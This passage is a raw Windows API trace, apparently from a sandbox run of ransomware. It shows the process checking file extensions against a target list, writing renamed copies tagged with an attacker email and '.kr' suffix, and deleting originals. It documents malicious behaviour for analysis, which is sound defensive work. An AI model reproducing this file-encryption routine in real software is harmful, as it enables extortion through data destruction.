DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0177.000] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=698368) returned 1 [0177.000] CloseHandle (hObject=0x3e4) returned 1 [0177.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0177.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.000] lstrlenW (lpString=".doc") returned 4 [0177.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString=".docx") returned 5 [0177.001] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0177.001] lstrlenW (lpString=".pdf") returned 4 [0177.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString=".xls") returned 4 [0177.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString=".xlsx") returned 5 [0177.001] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0177.001] lstrlenW (lpString=".ppt") returned 4 [0177.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString=".zip") returned 4 [0177.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString=".rar") returned 4 [0177.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString=".bz2") returned 4 [0177.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.001] lstrlenW (lpString=".7z") returned 3 [0177.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString=".dbf") returned 4 [0177.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString=".1cd") returned 4 [0177.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString=".jpg") returned 4 [0177.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.001] lstrlenW (lpString=".doc") returned 4 [0177.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString=".docx") returned 5 [0177.002] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0177.002] lstrlenW (lpString=".pdf") returned 4 [0177.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString=".xls") returned 4 [0177.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString=".xlsx") returned 5 [0177.002] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0177.002] lstrlenW (lpString=".ppt") returned 4 [0177.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.002] lstrlenW (lpString=".zip") returned 4 [0177.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString=".rar") returned 4 [0177.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.002] lstrlenW (lpString=".bz2") returned 4 [0177.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.002] lstrlenW (lpString=".7z") returned 3 [0177.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.002] lstrlenW (lpString=".dbf") returned 4 [0177.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.002] lstrlenW (lpString=".1cd") returned 4 [0177.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0177.002] lstrlenW (lpString=".jpg") returned 4 [0177.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.003] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.003] lstrlenW (lpString="msdasqlr.dll") returned 12 [0177.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0177.003] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=54784) returned 1 [0177.003] CloseHandle (hObject=0x3e4) returned 1 [0177.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0177.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.003] lstrlenW (lpString=".doc") returned 4 [0177.003] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.003] lstrlenW (lpString=".docx") returned 5 [0177.003] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0177.003] lstrlenW (lpString=".pdf") returned 4 [0177.003] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString=".xls") returned 4 [0177.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString=".xlsx") returned 5 [0177.004] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0177.004] lstrlenW (lpString=".ppt") returned 4 [0177.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString=".zip") returned 4 [0177.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString=".rar") returned 4 [0177.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString=".bz2") returned 4 [0177.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.004] lstrlenW (lpString=".7z") returned 3 [0177.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString=".dbf") returned 4 [0177.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString=".1cd") returned 4 [0177.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString=".jpg") returned 4 [0177.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.004] lstrlenW (lpString=".doc") returned 4 [0177.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.004] lstrlenW (lpString=".docx") returned 5 [0177.004] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0177.004] lstrlenW (lpString=".pdf") returned 4 [0177.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.005] lstrlenW (lpString=".xls") returned 4 [0177.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.005] lstrlenW (lpString=".xlsx") returned 5 [0177.005] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0177.005] lstrlenW (lpString=".ppt") returned 4 [0177.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.005] lstrlenW (lpString=".zip") returned 4 [0177.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.005] lstrlenW (lpString=".rar") returned 4 [0177.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.005] lstrlenW (lpString=".bz2") returned 4 [0177.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.005] lstrlenW (lpString=".7z") returned 3 [0177.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.005] lstrlenW (lpString=".dbf") returned 4 [0177.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.005] lstrlenW (lpString=".1cd") returned 4 [0177.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned 56 [0177.005] lstrlenW (lpString=".jpg") returned 4 [0177.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.005] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.005] lstrlenW (lpString="msdatl3.dll") returned 11 [0177.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0177.006] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=117248) returned 1 [0177.006] CloseHandle (hObject=0x3e4) returned 1 [0177.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0177.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.006] lstrlenW (lpString=".doc") returned 4 [0177.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.006] lstrlenW (lpString=".docx") returned 5 [0177.006] lstrcmpiW (lpString1=".docx", lpString2="3.dll") returned -1 [0177.006] lstrlenW (lpString=".pdf") returned 4 [0177.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.006] lstrlenW (lpString=".xls") returned 4 [0177.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.006] lstrlenW (lpString=".xlsx") returned 5 [0177.006] lstrcmpiW (lpString1=".xlsx", lpString2="3.dll") returned -1 [0177.006] lstrlenW (lpString=".ppt") returned 4 [0177.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".zip") returned 4 [0177.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString=".rar") returned 4 [0177.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString=".bz2") returned 4 [0177.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.007] lstrlenW (lpString=".7z") returned 3 [0177.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".dbf") returned 4 [0177.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".1cd") returned 4 [0177.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".jpg") returned 4 [0177.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".doc") returned 4 [0177.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString=".docx") returned 5 [0177.007] lstrcmpiW (lpString1=".docx", lpString2="3.dll") returned -1 [0177.007] lstrlenW (lpString=".pdf") returned 4 [0177.007] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString=".xls") returned 4 [0177.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString=".xlsx") returned 5 [0177.007] lstrcmpiW (lpString1=".xlsx", lpString2="3.dll") returned -1 [0177.007] lstrlenW (lpString=".ppt") returned 4 [0177.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.007] lstrlenW (lpString=".zip") returned 4 [0177.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.008] lstrlenW (lpString=".rar") returned 4 [0177.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.008] lstrlenW (lpString=".bz2") returned 4 [0177.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.008] lstrlenW (lpString=".7z") returned 3 [0177.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.008] lstrlenW (lpString=".dbf") returned 4 [0177.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.008] lstrlenW (lpString=".1cd") returned 4 [0177.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0177.008] lstrlenW (lpString=".jpg") returned 4 [0177.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.008] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.008] lstrlenW (lpString="msxactps.dll") returned 12 [0177.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0177.010] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=16384) returned 1 [0177.010] CloseHandle (hObject=0x3e4) returned 1 [0177.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0177.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0177.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0177.011] lstrlenW (lpString=".doc") returned 4 [0177.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString=".docx") returned 5 [0177.011] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0177.011] lstrlenW (lpString=".pdf") returned 4 [0177.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString=".xls") returned 4 [0177.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString=".xlsx") returned 5 [0177.011] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0177.011] lstrlenW (lpString=".ppt") returned 4 [0177.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0177.011] lstrlenW (lpString=".zip") returned 4 [0177.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString=".rar") returned 4 [0177.011] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.011] lstrlenW (lpString=".bz2") returned 4 [0177.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.011] lstrlenW (lpString=".7z") returned 3 [0177.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned 56 [0177.397] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8809536) returned 1 [0177.397] CloseHandle (hObject=0x3e8) returned 1 [0177.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0177.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0177.408] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0177.409] GetLastError () returned 0x0 [0177.409] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xcac, lpOverlapped=0x0) returned 1 [0177.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xcb0, lpOverlapped=0x0) returned 1 [0177.429] ReadFile (in: hFile=0x3e8, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0177.429] WriteFile (in: hFile=0x3ec, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe6, lpOverlapped=0x0) returned 1 [0177.429] SetEndOfFile (hFile=0x3ec) returned 1 [0177.429] CloseHandle (hObject=0x3ec) returned 1 [0177.430] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0177.430] SetEndOfFile (hFile=0x3e8) returned 1 [0177.828] CloseHandle (hObject=0x3e8) returned 1 [0177.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0177.829] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0177.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.829] lstrlenW (lpString=".doc") returned 4 [0177.829] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0177.829] lstrlenW (lpString=".docx") returned 5 [0177.829] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0177.829] lstrlenW (lpString=".pdf") returned 4 [0177.829] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0177.829] lstrlenW (lpString=".xls") returned 4 [0177.829] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".xlsx") returned 5 [0177.830] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0177.830] lstrlenW (lpString=".ppt") returned 4 [0177.830] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString=".zip") returned 4 [0177.830] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".rar") returned 4 [0177.830] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".bz2") returned 4 [0177.830] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".7z") returned 3 [0177.830] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString=".dbf") returned 4 [0177.830] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString=".1cd") returned 4 [0177.830] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString=".jpg") returned 4 [0177.830] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.830] lstrlenW (lpString=".doc") returned 4 [0177.830] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".docx") returned 5 [0177.830] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0177.830] lstrlenW (lpString=".pdf") returned 4 [0177.830] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0177.830] lstrlenW (lpString=".xls") returned 4 [0177.830] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString=".xlsx") returned 5 [0177.831] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0177.831] lstrlenW (lpString=".ppt") returned 4 [0177.831] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0177.831] lstrlenW (lpString=".zip") returned 4 [0177.831] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0177.831] lstrlenW (lpString=".rar") returned 4 [0177.831] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 